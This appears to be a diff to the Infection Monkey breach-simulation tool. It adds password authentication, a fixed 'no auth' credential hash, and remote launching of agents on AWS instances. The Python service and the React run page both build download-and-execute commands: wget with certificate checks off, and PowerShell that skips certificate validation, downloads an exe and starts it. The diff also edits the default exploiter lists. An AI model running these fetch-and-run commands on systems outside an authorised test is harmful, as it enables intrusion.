return self.aws_info.get_region() return self.aws_info.get_region()
def is_auth_enabled(self):
return True
def get_auth_users(self): def get_auth_users(self):
return [ return [
cc.auth.User(1, 'monkey', self._instance_id) cc.auth.User(1, 'monkey', self.hash_secret(self._instance_id))
] ]

View File

@ -1,16 +1,22 @@
import json import json
import logging import logging
import standard
import aws from cc.environment import standard
from cc.environment import aws
from cc.environment import password
__author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
AWS = 'aws' AWS = 'aws'
STANDARD = 'standard' STANDARD = 'standard'
PASSWORD = 'password'
ENV_DICT = { ENV_DICT = {
'standard': standard.StandardEnvironment, STANDARD: standard.StandardEnvironment,
'aws': aws.AwsEnvironment AWS: aws.AwsEnvironment,
PASSWORD: password.PasswordEnvironment,
} }
@ -25,8 +31,10 @@ def load_env_from_file():
return config_json['server_config'] return config_json['server_config']
try: try:
__env_type = load_env_from_file() config_json = load_server_configuration_from_file()
__env_type = config_json['server_config']
env = ENV_DICT[__env_type]() env = ENV_DICT[__env_type]()
env.set_config(config_json)
logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__)) logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__))
except Exception: except Exception:
logger.error('Failed initializing environment', exc_info=True) logger.error('Failed initializing environment', exc_info=True)

View File

@ -0,0 +1,12 @@
from cc.environment import Environment
import cc.auth
__author__ = 'itay.mizeretz'
class PasswordEnvironment(Environment):
def get_auth_users(self):
return [
cc.auth.User(1, self.config['user'], self.config['hash'])
]

View File

@ -1,12 +1,15 @@
import cc.auth
from cc.environment import Environment from cc.environment import Environment
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
class StandardEnvironment(Environment): class StandardEnvironment(Environment):
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
def is_auth_enabled(self): NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
return False '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
def get_auth_users(self): def get_auth_users(self):
return [] return [
cc.auth.User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS)
]

View File

@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError
from cc.resources.exporter import Exporter from cc.resources.exporter import Exporter
from cc.services.config import ConfigService from cc.services.config import ConfigService
from cc.environment.environment import load_server_configuration_from_file from cc.environment.environment import load_server_configuration_from_file
from common.cloud.aws import AWS from common.cloud.aws_instance import AwsInstance
__author__ = 'maor.rayzin' __author__ = 'maor.rayzin'
@ -23,7 +23,7 @@ class AWSExporter(Exporter):
@staticmethod @staticmethod
def handle_report(report_json): def handle_report(report_json):
aws = AWS() aws = AwsInstance()
findings_list = [] findings_list = []
issues_list = report_json['recommendations']['issues'] issues_list = report_json['recommendations']['issues']
if not issues_list: if not issues_list:

View File

@ -0,0 +1,48 @@
import json
from flask import request, jsonify, make_response
import flask_restful
from cc.auth import jwt_required
from cc.services.remote_run_aws import RemoteRunAwsService
from common.cloud.aws_service import AwsService
class RemoteRun(flask_restful.Resource):
def __init__(self):
super(RemoteRun, self).__init__()
RemoteRunAwsService.init()
def run_aws_monkeys(self, request_body):
instances = request_body.get('instances')
island_ip = request_body.get('island_ip')
return RemoteRunAwsService.run_aws_monkeys(instances, island_ip)
@jwt_required()
def get(self):
action = request.args.get('action')
if action == 'list_aws':
is_aws = RemoteRunAwsService.is_running_on_aws()
resp = {'is_aws': is_aws}
if is_aws:
is_auth = RemoteRunAwsService.update_aws_auth_params()
resp['auth'] = is_auth
if is_auth:
resp['instances'] = AwsService.get_instances()
return jsonify(resp)
return {}
@jwt_required()
def post(self):
body = json.loads(request.data)
resp = {}
if body.get('type') == 'aws':
is_auth = RemoteRunAwsService.update_aws_auth_params()
resp['auth'] = is_auth
if is_auth:
result = self.run_aws_monkeys(body)
resp['result'] = result
return jsonify(resp)
# default action
return make_response({'error': 'Invalid action'}, 500)

View File

@ -31,11 +31,13 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod @staticmethod
def get_displayed_telemetry(telem): def get_displayed_telemetry(telem):
monkey = NodeService.get_monkey_by_guid(telem['monkey_guid'])
default_hostname = "GUID-" + telem['monkey_guid']
return \ return \
{ {
'id': telem['_id'], 'id': telem['_id'],
'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid']).get('hostname','missing'), 'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname,
'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem) 'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem)
} }
@ -52,7 +54,7 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod @staticmethod
def get_state_telem_brief(telem): def get_state_telem_brief(telem):
if telem['data']['done']: if telem['data']['done']:
return 'Monkey died.' return '''Monkey finishing it's execution.'''
else: else:
return 'Monkey started.' return 'Monkey started.'

View File

@ -304,7 +304,6 @@ SCHEMA = {
"$ref": "#/definitions/post_breach_acts" "$ref": "#/definitions/post_breach_acts"
}, },
"default": [ "default": [
"BackdoorUser",
], ],
"description": "List of actions the Monkey will run post breach" "description": "List of actions the Monkey will run post breach"
}, },
@ -689,7 +688,6 @@ SCHEMA = {
"default": [ "default": [
"SmbExploiter", "SmbExploiter",
"WmiExploiter", "WmiExploiter",
"MSSQLExploiter",
"SSHExploiter", "SSHExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"SambaCryExploiter", "SambaCryExploiter",

View File

@ -0,0 +1,138 @@
from cc.services.config import ConfigService
from common.cloud.aws_instance import AwsInstance
from common.cloud.aws_service import AwsService
from common.cmd.aws.aws_cmd_runner import AwsCmdRunner
from common.cmd.cmd import Cmd
from common.cmd.cmd_runner import CmdRunner
__author__ = "itay.mizeretz"
class RemoteRunAwsService:
aws_instance = None
is_auth = False
def __init__(self):
pass
@staticmethod
def init():
"""
Initializes service. Subsequent calls to this function have no effect.
Must be called at least once (in entire monkey lifetime) before usage of functions
:return: None
"""
if RemoteRunAwsService.aws_instance is None:
RemoteRunAwsService.aws_instance = AwsInstance()
@staticmethod
def run_aws_monkeys(instances, island_ip):
"""
Runs monkeys on the given instances
:param instances: List of instances to run on
:param island_ip: IP of island the monkey will communicate with
:return: Dictionary with instance ids as keys, and True/False as values if succeeded or not
"""
instances_bitness = RemoteRunAwsService.get_bitness(instances)
return CmdRunner.run_multiple_commands(
instances,
lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async(
instance['instance_id'], RemoteRunAwsService._is_linux(instance['os']), island_ip,
instances_bitness[instance['instance_id']]),
lambda _, result: result.is_success)
@staticmethod
def is_running_on_aws():
return RemoteRunAwsService.aws_instance.is_aws_instance()
@staticmethod
def update_aws_auth_params():
"""
Updates the AWS authentication parameters according to config
:return: True if new params allow successful authentication. False otherwise
"""
access_key_id = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_access_key_id'], False, True)
secret_access_key = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_secret_access_key'], False, True)
if (access_key_id != AwsService.access_key_id) or (secret_access_key != AwsService.secret_access_key):
AwsService.set_auth_params(access_key_id, secret_access_key)
RemoteRunAwsService.is_auth = AwsService.test_client()
AwsService.set_region(RemoteRunAwsService.aws_instance.region)
return RemoteRunAwsService.is_auth
@staticmethod
def get_bitness(instances):
"""
For all given instances, checks whether they're 32 or 64 bit.
:param instances: List of instances to check
:return: Dictionary with instance ids as keys, and True/False as values. True if 64bit, False otherwise
"""
return CmdRunner.run_multiple_commands(
instances,
lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async(
instance['instance_id'], RemoteRunAwsService._is_linux(instance['os'])),
lambda instance, result: RemoteRunAwsService._get_bitness_by_result(
RemoteRunAwsService._is_linux(instance['os']), result))
@staticmethod
def _get_bitness_by_result(is_linux, result):
if not result.is_success:
return None
elif is_linux:
return result.stdout.find('i686') == -1 # i686 means 32bit
else:
return result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit
@staticmethod
def run_aws_bitness_cmd_async(instance_id, is_linux):
"""
Runs an AWS command to check bitness
:param instance_id: Instance ID of target
:param is_linux: Whether target is linux
:return: Cmd
"""
cmd_text = 'uname -m' if is_linux else 'Get-ChildItem Env:'
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text)
@staticmethod
def run_aws_monkey_cmd_async(instance_id, is_linux, island_ip, is_64bit):
"""
Runs a monkey remotely using AWS
:param instance_id: Instance ID of target
:param is_linux: Whether target is linux
:param island_ip: IP of the island which the instance will try to connect to
:param is_64bit: Whether the instance is 64bit
:return: Cmd
"""
cmd_text = RemoteRunAwsService._get_run_monkey_cmd_line(is_linux, is_64bit, island_ip)
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text)
@staticmethod
def run_aws_cmd_async(instance_id, is_linux, cmd_line):
cmd_runner = AwsCmdRunner(is_linux, instance_id)
return Cmd(cmd_runner, cmd_runner.run_command_async(cmd_line))
@staticmethod
def _is_linux(os):
return 'linux' == os
@staticmethod
def _get_run_monkey_cmd_linux_line(bit_text, island_ip):
return r'wget --no-check-certificate https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + \
bit_text + r'; chmod +x monkey-linux-' + bit_text + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \
island_ip + r':5000'
@staticmethod
def _get_run_monkey_cmd_windows_line(bit_text, island_ip):
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
@staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):
bit_text = '64' if is_64bit else '32'
return RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip) if is_linux \
else RemoteRunAwsService._get_run_monkey_cmd_windows_line(bit_text, island_ip)

File diff suppressed because it is too large Load Diff

View File

@ -90,6 +90,7 @@
"react-router-dom": "^4.3.1", "react-router-dom": "^4.3.1",
"react-table": "^6.8.6", "react-table": "^6.8.6",
"react-toggle": "^4.0.1", "react-toggle": "^4.0.1",
"redux": "^4.0.0" "redux": "^4.0.0",
"sha3": "^2.0.0"
} }
} }

View File

@ -27,31 +27,44 @@ let guardicoreLogoImage = require('../images/guardicore-logo.png');
class AppComponent extends AuthComponent { class AppComponent extends AuthComponent {
updateStatus = () => { updateStatus = () => {
if (this.auth.loggedIn()){ this.auth.loggedIn()
this.authFetch('/api') .then(res => {
.then(res => res.json()) if (this.state.isLoggedIn !== res) {
.then(res => { this.setState({
// This check is used to prevent unnecessary re-rendering isLoggedIn: res
let isChanged = false; });
for (let step in this.state.completedSteps) { }
if (this.state.completedSteps[step] !== res['completed_steps'][step]) {
isChanged = true; if (res) {
break; this.authFetch('/api')
} .then(res => res.json())
} .then(res => {
if (isChanged) { // This check is used to prevent unnecessary re-rendering
this.setState({completedSteps: res['completed_steps']}); let isChanged = false;
} for (let step in this.state.completedSteps) {
}); if (this.state.completedSteps[step] !== res['completed_steps'][step]) {
} isChanged = true;
break;
}
}
if (isChanged) {
this.setState({completedSteps: res['completed_steps']});
}
});
}
});
}; };
renderRoute = (route_path, page_component, is_exact_path = false) => { renderRoute = (route_path, page_component, is_exact_path = false) => {
let render_func = (props) => { let render_func = (props) => {
if (this.auth.loggedIn()) { switch (this.state.isLoggedIn) {
return page_component; case true:
} else { return page_component;
return <Redirect to={{pathname: '/login'}}/>; case false:
return <Redirect to={{pathname: '/login'}}/>;
default:
return page_component;
} }
}; };
@ -69,7 +82,8 @@ class AppComponent extends AuthComponent {
run_server: true, run_server: true,
run_monkey: false, run_monkey: false,
infection_done: false, infection_done: false,
report_done: false report_done: false,
isLoggedIn: undefined
} }
}; };
} }

View File

@ -93,7 +93,7 @@ class ConfigurePageComponent extends AuthComponent {
}; };
resetConfig = () => { resetConfig = () => {
this.authFetch('/api/configuration', this.authFetch('/api/configuration/island',
{ {
method: 'POST', method: 'POST',
headers: {'Content-Type': 'application/json'}, headers: {'Content-Type': 'application/json'},
@ -141,9 +141,12 @@ class ConfigurePageComponent extends AuthComponent {
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
// This check is used to prevent unnecessary re-rendering // This check is used to prevent unnecessary re-rendering
this.setState({ let allMonkeysAreDead = (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']);
allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']) if (allMonkeysAreDead !== this.state.allMonkeysAreDead) {
}); this.setState({
allMonkeysAreDead: allMonkeysAreDead
});
}
}); });
}; };

View File

@ -34,9 +34,12 @@ class LoginPageComponent extends React.Component {
this.state = { this.state = {
failed: false failed: false
}; };
if (this.auth.loggedIn()) { this.auth.loggedIn()
this.redirectToHome(); .then(res => {
} if (res) {
this.redirectToHome();
}
});
} }
render() { render() {

View File

@ -1,9 +1,10 @@
import React from 'react'; import React from 'react';
import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap'; import {Button, Col, Well, Nav, NavItem, Collapse, Form, FormControl, FormGroup} from 'react-bootstrap';
import CopyToClipboard from 'react-copy-to-clipboard'; import CopyToClipboard from 'react-copy-to-clipboard';
import {Icon} from 'react-fa'; import {Icon} from 'react-fa';
import {Link} from 'react-router-dom'; import {Link} from 'react-router-dom';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import AwsRunTable from "../run-monkey/AwsRunTable";
class RunMonkeyPageComponent extends AuthComponent { class RunMonkeyPageComponent extends AuthComponent {
@ -13,10 +14,19 @@ class RunMonkeyPageComponent extends AuthComponent {
ips: [], ips: [],
runningOnIslandState: 'not_running', runningOnIslandState: 'not_running',
runningOnClientState: 'not_running', runningOnClientState: 'not_running',
awsClicked: false,
selectedIp: '0.0.0.0', selectedIp: '0.0.0.0',
selectedOs: 'windows-32', selectedOs: 'windows-32',
showManual: false showManual: false,
}; showAws: false,
isOnAws: false,
isAwsAuth: false,
awsUpdateClicked: false,
awsUpdateFailed: false,
awsKeyId: '',
awsSecretKey: '',
awsMachines: []
};
} }
componentDidMount() { componentDidMount() {
@ -37,6 +47,15 @@ class RunMonkeyPageComponent extends AuthComponent {
} }
}); });
this.fetchAwsInfo();
this.fetchConfig()
.then(config => {
this.setState({
awsKeyId: config['cnc']['aws_config']['aws_access_key_id'],
awsSecretKey: config['cnc']['aws_config']['aws_secret_access_key']
});
});
this.authFetch('/api/client-monkey') this.authFetch('/api/client-monkey')
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
@ -50,6 +69,17 @@ class RunMonkeyPageComponent extends AuthComponent {
this.props.onStatusChange(); this.props.onStatusChange();
} }
fetchAwsInfo() {
return this.authFetch('/api/remote-monkey?action=list_aws')
.then(res => res.json())
.then(res =>{
let is_aws = res['is_aws'];
if (is_aws) {
this.setState({isOnAws: true, awsMachines: res['instances'], isAwsAuth: res['auth']});
}
});
}
generateLinuxCmd(ip, is32Bit) { generateLinuxCmd(ip, is32Bit) {
let bitText = is32Bit ? '32' : '64'; let bitText = is32Bit ? '32' : '64';
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
@ -134,6 +164,192 @@ class RunMonkeyPageComponent extends AuthComponent {
}); });
}; };
toggleAws = () => {
this.setState({
showAws: !this.state.showAws
});
};
runOnAws = () => {
this.setState({
awsClicked: true
});
let instances = this.awsTable.state.selection.map(x => this.instanceIdToInstance(x));
this.authFetch('/api/remote-monkey',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({type: 'aws', instances: instances, island_ip: this.state.selectedIp})
}).then(res => res.json())
.then(res => {
let result = res['result'];
// update existing state, not run-over
let prevRes = this.awsTable.state.result;
for (let key in result) {
if (result.hasOwnProperty(key)) {
prevRes[key] = result[key];
}
}
this.awsTable.setState({
result: prevRes,
selection: [],
selectAll: false
});
this.setState({
awsClicked: false
});
});
};
updateAwsKeyId = (evt) => {
this.setState({
awsKeyId: evt.target.value
});
};
updateAwsSecretKey = (evt) => {
this.setState({
awsSecretKey: evt.target.value
});
};
fetchConfig() {
return this.authFetch('/api/configuration/island')
.then(res => res.json())
.then(res => {
return res.configuration;
})
}
updateAwsKeys = () => {
this.setState({
awsUpdateClicked: true,
awsUpdateFailed: false
});
this.fetchConfig()
.then(config => {
let new_config = config;
new_config['cnc']['aws_config']['aws_access_key_id'] = this.state.awsKeyId;
new_config['cnc']['aws_config']['aws_secret_access_key'] = this.state.awsSecretKey;
return new_config;
})
.then(new_config => {
this.authFetch('/api/configuration/island',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(new_config)
})
.then(res => res.json())
.then(res => {
this.fetchAwsInfo()
.then(res => {
if (!this.state.isAwsAuth) {
this.setState({
awsUpdateClicked: false,
awsUpdateFailed: true
})
}
});
});
});
};
instanceIdToInstance = (instance_id) => {
let instance = this.state.awsMachines.find(
function (inst) {
return inst['instance_id'] === instance_id;
});
return {'instance_id': instance_id, 'os': instance['os']}
};
renderAuthAwsDiv() {
return (
<div style={{'marginBottom': '2em'}}>
{
this.state.ips.length > 1 ?
<Nav bsStyle="pills" justified activeKey={this.state.selectedIp} onSelect={this.setSelectedIp}
style={{'marginBottom': '2em'}}>
{this.state.ips.map(ip => <NavItem key={ip} eventKey={ip}>{ip}</NavItem>)}
</Nav>
: <div style={{'marginBottom': '2em'}} />
}
<AwsRunTable
data={this.state.awsMachines}
ref={r => (this.awsTable = r)}
/>
<div style={{'marginTop': '1em'}}>
<button
onClick={this.runOnAws}
className={'btn btn-default btn-md center-block'}
disabled={this.state.awsClicked}>
Run on selected machines
{ this.state.awsClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null }
</button>
</div>
</div>
)
}
renderNotAuthAwsDiv() {
return (
<div style={{'marginBottom': '2em'}}>
<p style={{'fontSize': '1.2em'}}>
You haven't set your AWS account details or they're incorrect. Please enter them below to proceed.
</p>
<div style={{'marginTop': '1em'}}>
<div className="col-sm-12">
<div className="col-sm-6 col-sm-offset-3" style={{'fontSize': '1.2em'}}>
<div className="panel panel-default">
<div className="panel-body">
<div className="input-group center-block text-center">
<input type="text" className="form-control" placeholder="AWS Access Key ID"
value={this.state.awsKeyId}
onChange={evt => this.updateAwsKeyId(evt)}/>
<input type="text" className="form-control" placeholder="AWS Secret Access Key"
value={this.state.awsSecretKey}
onChange={evt => this.updateAwsSecretKey(evt)}/>
<Button
onClick={this.updateAwsKeys}
className={'btn btn-default btn-md center-block'}
disabled={this.state.awsUpdateClicked}
variant="primary">
Update AWS details
{ this.state.awsUpdateClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null }
</Button>
</div>
</div>
</div>
</div>
<div className="col-sm-8 col-sm-offset-2" style={{'fontSize': '1.2em'}}>
<p className="alert alert-info">
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
In order to remotely run commands on AWS EC2 instances, please make sure you have
the <a href="https://docs.aws.amazon.com/console/ec2/run-command/prereqs" target="_blank">prerequisites</a> and if the
instances don't show up, check the
AWS <a href="https://docs.aws.amazon.com/console/ec2/run-command/troubleshooting" target="_blank">troubleshooting guide</a>.
</p>
</div>
{
this.state.awsUpdateFailed ?
<div className="col-sm-8 col-sm-offset-2" style={{'fontSize': '1.2em'}}>
<p className="alert alert-danger" role="alert">Authentication failed.</p>
</div>
:
null
}
</div>
</div>
</div>
)
}
render() { render() {
return ( return (
<Col xs={12} lg={8}> <Col xs={12} lg={8}>
@ -166,7 +382,7 @@ class RunMonkeyPageComponent extends AuthComponent {
<p className="text-center"> <p className="text-center">
OR OR
</p> </p>
<p style={{'marginBottom': '2em'}}> <p style={this.state.showManual || !this.state.isOnAws ? {'marginBottom': '2em'} : {}}>
<button onClick={this.toggleManual} className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}> <button onClick={this.toggleManual} className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}>
Run on machine of your choice Run on machine of your choice
</button> </button>
@ -196,6 +412,30 @@ class RunMonkeyPageComponent extends AuthComponent {
{this.generateCmdDiv()} {this.generateCmdDiv()}
</div> </div>
</Collapse> </Collapse>
{
this.state.isOnAws ?
<p className="text-center">
OR
</p>
:
null
}
{
this.state.isOnAws ?
<p style={{'marginBottom': '2em'}}>
<button onClick={this.toggleAws} className={'btn btn-default btn-lg center-block' + (this.state.showAws ? ' active' : '')}>
Run on AWS machine of your choice
</button>
</p>
:
null
}
<Collapse in={this.state.showAws}>
{
this.state.isAwsAuth ? this.renderAuthAwsDiv() : this.renderNotAuthAwsDiv()
}
</Collapse>
<p style={{'fontSize': '1.2em'}}> <p style={{'fontSize': '1.2em'}}>
Go ahead and monitor the ongoing infection in the <Link to="/infection/map">Infection Map</Link> view. Go ahead and monitor the ongoing infection in the <Link to="/infection/map">Infection Map</Link> view.

View File

@ -0,0 +1,109 @@
import React from 'react';
import ReactTable from 'react-table'
import checkboxHOC from "react-table/lib/hoc/selectTable";
const CheckboxTable = checkboxHOC(ReactTable);
const columns = [
{
Header: 'Machines',
columns: [
{ Header: 'Machine', accessor: 'name'},
{ Header: 'Instance ID', accessor: 'instance_id'},
{ Header: 'IP Address', accessor: 'ip_address'},
{ Header: 'OS', accessor: 'os'}
]
}
];
const pageSize = 10;
class AwsRunTableComponent extends React.Component {
constructor(props) {
super(props);
this.state = {
selection: [],
selectAll: false,
result: {}
}
}
toggleSelection = (key, shift, row) => {
// start off with the existing state
let selection = [...this.state.selection];
const keyIndex = selection.indexOf(key);
// check to see if the key exists
if (keyIndex >= 0) {
// it does exist so we will remove it using destructing
selection = [
...selection.slice(0, keyIndex),
...selection.slice(keyIndex + 1)
];
} else {
// it does not exist so add it
selection.push(key);
}
// update the state
this.setState({ selection });
};
isSelected = key => {
return this.state.selection.includes(key);
};
toggleAll = () => {
const selectAll = !this.state.selectAll;
const selection = [];
if (selectAll) {
// we need to get at the internals of ReactTable
const wrappedInstance = this.checkboxTable.getWrappedInstance();
// the 'sortedData' property contains the currently accessible records based on the filter and sort
const currentRecords = wrappedInstance.getResolvedState().sortedData;
// we just push all the IDs onto the selection array
currentRecords.forEach(item => {
selection.push(item._original.instance_id);
});
}
this.setState({ selectAll, selection });
};
getTrProps = (s, r) => {
let color = "inherit";
if (r) {
let instId = r.original.instance_id;
if (this.isSelected(instId)) {
color = "#ffed9f";
} else if (this.state.result.hasOwnProperty(instId)) {
color = this.state.result[instId] ? "#00f01b" : '#f00000'
}
}
return {
style: {backgroundColor: color}
};
};
render() {
return (
<div className="data-table-container">
<CheckboxTable
ref={r => (this.checkboxTable = r)}
keyField="instance_id"
columns={columns}
data={this.props.data}
showPagination={true}
defaultPageSize={pageSize}
className="-highlight"
selectType="checkbox"
toggleSelection={this.toggleSelection}
isSelected={this.isSelected}
toggleAll={this.toggleAll}
selectAll={this.state.selectAll}
getTrProps={this.getTrProps}
/>
</div>
);
}
}
export default AwsRunTableComponent;

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.6 KiB

After

Width:  |  Height:  |  Size: 34 KiB

View File

@ -1,6 +1,7 @@
import 'core-js/fn/object/assign'; import 'core-js/fn/object/assign';
import React from 'react'; import React from 'react';
import ReactDOM from 'react-dom'; import ReactDOM from 'react-dom';
import 'babel-polyfill';
import App from './components/Main'; import App from './components/Main';
import Bootstrap from 'bootstrap/dist/css/bootstrap.css'; // eslint-disable-line no-unused-vars import Bootstrap from 'bootstrap/dist/css/bootstrap.css'; // eslint-disable-line no-unused-vars

View File

@ -0,0 +1,9 @@
import BaseConfig from './BaseConfig';
class PasswordConfig extends BaseConfig{
isAuthEnabled() {
return true;
}
}
export default PasswordConfig;

View File

@ -1,12 +1,14 @@
import StandardConfig from './StandardConfig'; import StandardConfig from './StandardConfig';
import AwsConfig from './AwsConfig'; import AwsConfig from './AwsConfig';
import PasswordConfig from "./PasswordConfig";
const SERVER_CONFIG_JSON = require('../../../server_config.json'); const SERVER_CONFIG_JSON = require('../../../server_config.json');
const CONFIG_DICT = const CONFIG_DICT =
{ {
'standard': StandardConfig, 'standard': StandardConfig,
'aws': AwsConfig 'aws': AwsConfig,
'password': PasswordConfig
}; };
export const SERVER_CONFIG = new CONFIG_DICT[SERVER_CONFIG_JSON['server_config']](); export const SERVER_CONFIG = new CONFIG_DICT[SERVER_CONFIG_JSON['server_config']]();

View File

@ -1,25 +1,26 @@
import { SHA3 } from 'sha3';
import decode from 'jwt-decode'; import decode from 'jwt-decode';
import {SERVER_CONFIG} from '../server_config/ServerConfig';
export default class AuthService { export default class AuthService {
AUTH_ENABLED = SERVER_CONFIG.isAuthEnabled(); // SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
NO_AUTH_CREDS =
"55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" +
"8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557";
login = (username, password) => { login = (username, password) => {
if (this.AUTH_ENABLED) { return this._login(username, this.hashSha3(password));
return this._login(username, password);
} else {
return {result: true};
}
}; };
authFetch = (url, options) => { authFetch = (url, options) => {
if (this.AUTH_ENABLED) { return this._authFetch(url, options);
return this._authFetch(url, options);
} else {
return fetch(url, options);
}
}; };
hashSha3(text) {
let hash = new SHA3(512);
hash.update(text);
return this._toHexStr(hash.digest());
}
_login = (username, password) => { _login = (username, password) => {
return this._authFetch('/api/auth', { return this._authFetch('/api/auth', {
method: 'POST', method: 'POST',
@ -36,7 +37,6 @@ export default class AuthService {
this._removeToken(); this._removeToken();
return {result: false}; return {result: false};
} }
}) })
}; };
@ -46,7 +46,7 @@ export default class AuthService {
'Content-Type': 'application/json' 'Content-Type': 'application/json'
}; };
if (this.loggedIn()) { if (this._loggedIn()) {
headers['Authorization'] = 'JWT ' + this._getToken(); headers['Authorization'] = 'JWT ' + this._getToken();
} }
@ -67,20 +67,26 @@ export default class AuthService {
}); });
}; };
loggedIn() { async loggedIn() {
if (!this.AUTH_ENABLED) { let token = this._getToken();
return true; if ((token === null) || (this._isTokenExpired(token))) {
await this.attemptNoAuthLogin();
} }
return this._loggedIn();
}
attemptNoAuthLogin() {
return this._login(this.NO_AUTH_CREDS, this.NO_AUTH_CREDS);
}
_loggedIn() {
const token = this._getToken(); const token = this._getToken();
return ((token !== null) && !this._isTokenExpired(token)); return ((token !== null) && !this._isTokenExpired(token));
} }
logout() { logout = () => {
if (this.AUTH_ENABLED) { this._removeToken();
this._removeToken(); };
}
}
_isTokenExpired(token) { _isTokenExpired(token) {
try { try {
@ -103,4 +109,9 @@ export default class AuthService {
return localStorage.getItem('jwt') return localStorage.getItem('jwt')
} }
_toHexStr(byteArr) {
return byteArr.reduce((acc, x) => (acc + ('0' + x.toString(0x10)).slice(-2)), '');
}
} }

View File

@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com
Priority: optional Priority: optional
Version: 1.0 Version: 1.0
Description: Guardicore Infection Monkey Island installation package Description: Guardicore Infection Monkey Island installation package
Depends: openssl, python-pip, python-dev Depends: openssl, python-pip, python-dev, mongodb

View File

@ -20,14 +20,12 @@ if [ -d "/etc/systemd/network" ]; then
cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/ cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/
chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh
systemctl daemon-reload systemctl daemon-reload
systemctl enable monkey-mongo
systemctl enable monkey-island systemctl enable monkey-island
fi fi
${MONKEY_FOLDER}/monkey_island/create_certificate.sh ${MONKEY_FOLDER}/monkey_island/create_certificate.sh
service monkey-island start service monkey-island start
service monkey-mongo start
echo Monkey Island installation ended echo Monkey Island installation ended

View File

@ -1,12 +1,9 @@
#!/bin/sh #!/bin/sh
service monkey-island stop || true service monkey-island stop || true
service monkey-mongo stop || true
rm -f /etc/init/monkey-island.conf rm -f /etc/init/monkey-island.conf
rm -f /etc/init/monkey-mongo.conf
[ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service [ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service
[ -f "/lib/systemd/system/monkey-mongo.service" ] && rm -f /lib/systemd/system/monkey-mongo.service
rm -r -f /var/monkey rm -r -f /var/monkey

View File

@ -13,7 +13,7 @@ jsonschema
netifaces netifaces
ipaddress ipaddress
enum34 enum34
PyCrypto pycryptodome
boto3 boto3
awscli awscli
virtualenv virtualenv

View File

@ -1,6 +0,0 @@
#!/bin/bash
service monkey-mongo stop
cd /var/monkey/monkey_island
rm -rf ./db/*
service monkey-mongo start

View File

@ -1,5 +1,4 @@
#!/bin/bash #!/bin/bash
cd /var/monkey cd /var/monkey
/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
